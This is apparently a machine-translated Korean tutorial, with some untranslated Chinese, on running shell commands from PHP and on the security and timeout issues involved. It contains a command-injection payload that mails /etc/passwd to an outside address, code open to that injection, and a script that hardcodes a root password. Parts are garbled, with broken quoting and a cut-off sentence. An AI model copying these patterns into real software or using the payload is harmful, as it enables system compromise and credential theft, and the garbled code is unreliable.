PHP는 다른 프로그래밍 언어와 마찬가지로 프로그램 내에서 외부 명령을 호출할 수 있으며 매우 간단합니다. 하나 또는 몇 가지 기능만 사용하면 됩니다. 전제조건 웹 프로그램 개발에는 기본적으로 PHP가 사용되기 때문에 보안은 사람들이 중요하게 생각하는 부분이 되었습니다. 그래서 PHP 디자이너는 PHP에 안전 모드라는 문을 추가했습니다. 안전 모드에서 실행하는 경우 PHP 스크립트에는 다음 네 가지 제한 사항이 적용됩니다. 1. 외부 명령 실행 2. 파일을 열 때 몇 가지 제한 사항이 있습니다. 3. mysql 데이터베이스에 연결 4. HTTP 기반 인증안전 모드에서는 특정 디렉터리에 있는 외부 프로그램만 실행할 수 있으며, 다른 프로그램에 대한 호출은 거부됩니다. 이 디렉토리는 safe_mode_exec_dir 지시문을 사용하여 php.ini 파일에서 사용하거나 PHP를 컴파일할 때 추가할 수 있습니다. --with-exec-dir 옵션을 지정하면 기본값은 /usr/local/php/bin입니다. 결과를 인쇄해야 하는 외부 명령을 호출했지만(PHP 스크립트에 오류가 없음을 의미) 공백이 표시되면 PHP가 안전 모드에서 실행 중일 가능성이 높습니다. PHP에서 외부 명령을 호출하려면 다음 세 가지 방법을 사용할 수 있습니다. 1) PHP에서 제공하는 특수 기능을 사용하세요 PHP는 외부 명령을 실행하기 위해 system(), exec(), passthru()라는 총 세 가지 특수 함수를 제공합니다. 1. 프로토타입: 문자열 시스템(문자열 명령 [, int return_var]) system() 함수는 다른 언어의 함수와 유사합니다. 주어진 명령을 실행하고 결과를 출력하고 반환합니다. 두 번째 매개변수는 선택사항이며 명령이 실행된 후 상태 코드를 가져오는 데 사용됩니다. 예: <?php system("/usr/local/bin/webalizer/webalizer"); ?> 2.exec() 프로토타입: string exec (string command [, string array [, int return_var]]) exec() 함수는 system()과 유사합니다. 또한 주어진 명령을 실행하지만 결과를 출력하지 않고 결과의 마지막 줄을 반환합니다. 명령 결과의 마지막 줄만 반환하지만 두 번째 매개변수 배열을 사용하면 완전한 결과를 얻을 수 있습니다. 방법은 결과를 제어하는 것입니다. 결과는 배열 끝에 한 줄씩 추가됩니다. 따라서 배열이 비어 있지 않으면 호출하기 전에 unset()을 사용하여 배열을 지우는 것이 가장 좋습니다. 두 번째 매개변수를 지정한 경우에만 세 번째 매개변수를 사용하여 명령 실행 상태 코드를 얻을 수 있습니다. . 예: <?php exec("/bin/ls -l"); exec("/bin/ls -l", $res); exec("/bin/ls -l", $res, $rc); ?> 3.패스스루() 프로토타입: void passthru (string command [, int return_var]) passthru()는 명령을 호출하기만 하고 결과를 반환하지 않고 명령의 실행 결과를 그대로 표준 출력 장치에 출력합니다. 따라서 passthru() 함수는 pbmplus(Unix의 사진 처리 프로그램)와 같은 프로그램을 호출하는 데 자주 사용됩니다. 도구, 출력 2 (16진수 형식의 원시 이미지 스트림) 또한 명령 실행의 상태 코드를 가져올 수도 있습니다. 예: <?php header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?> 2) popen() 함수를 사용하여 프로세스 열기 위 방법은 단순히 명령을 실행할 수만 있고 명령과 상호 작용할 수는 없습니다. 예를 들어 Linux 시스템 사용자를 추가하는 경우 su를 호출하여 현재 사용자를 루트로 변경해야 하며 su 명령은 명령줄에 있어야 합니다. 루트 비밀번호를 입력하세요. 이 경우 위에서 언급한 방법을 사용하는 것은 당연히 불가능합니다. popen() 함수는 주어진 명령을 실행하기 위해 프로세스 파이프를 열고 파일 핸들을 반환합니다. 파일 핸들이 반환되므로 읽고 쓸 수 있습니다. PHP3에서는 이러한 종류의 핸들에 대해 단일 작업만 수행할 수 있습니다. 쓰기 또는 읽기 모드는 PHP4부터 동시에 읽고 쓸 수 있습니다. 핸들이 한 가지 모드(읽기 또는 쓰기)로 열리지 않는 한, 핸들을 닫으려면 pclose() 함수를 호출해야 합니다. 예 1: <?php $fp=popen("/bin/ls -l", "r"); ?> 예 2: <?php $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?> 3) 백틱(`, 즉 키보드의 ESC 키 아래에 있는 것, ~와 동일)을 사용합니다. 이 방법은 이전에 PHP에 문서화되지 않았으며 비밀 기술로 존재했습니다. 두 개의 역따옴표를 사용하여 실행할 명령을 표현식으로 묶습니다. 이 표현식의 값은 명령 실행의 결과입니다. 예: <?php $res='/bin/ls -l'; echo ' '.$res.' '; ?> 출력 결과: 헌트.gif 헌테.ppm jpg.htm jpg.jpg passthru.php보안과 시간 초과라는 두 가지 문제를 고려해야 합니다. 보안. 예를 들어 작은 온라인 상점이 있어서 판매 가능한 제품 목록이 파일에 저장되어 있습니다. 사용자가 이메일 주소를 입력한 다음 제품 목록을 보낼 수 있는 양식을 사용하여 HTML 파일을 작성합니다. PHP의 mail() 함수를 사용해 본 적이 없거나 들어본 적이 없다고 가정하면, Linux/Unix 시스템의 메일 프로그램을 호출하여 이 파일을 보냅니다. 예: <?php system("mail $to < products.txt"); echo "产品目录已经发送到你的信箱:$to"; ?> 이 코드는 실제로 매우 큰 보안 취약점을 가지고 있습니다. 악의적인 사용자가 이러한 이메일 주소를 입력하는 경우: '--bla ; mail someone@domain.com < /etc/passwd ;' 그러면 이 명령은 결국 다음과 같습니다. 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 무섭습니다. 자신의 컴퓨터에서 시도하지 마세요. 그렇지 않으면 결과가 상상만큼 나쁘지 않을 것입니다. php提供了两个函数:EscapeShellCmd()和EscapeShellArg()。 函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell 中是有特殊含义的,象分号(),重定向(>)和从文件读入 ( 再说下超时问题。 如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。 默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。 解决方法,把命令的输出重定向到另外一个文件或流中。 例如: <?php system("/usr/local/bin/order_proc > /tmp/null &"); ?> |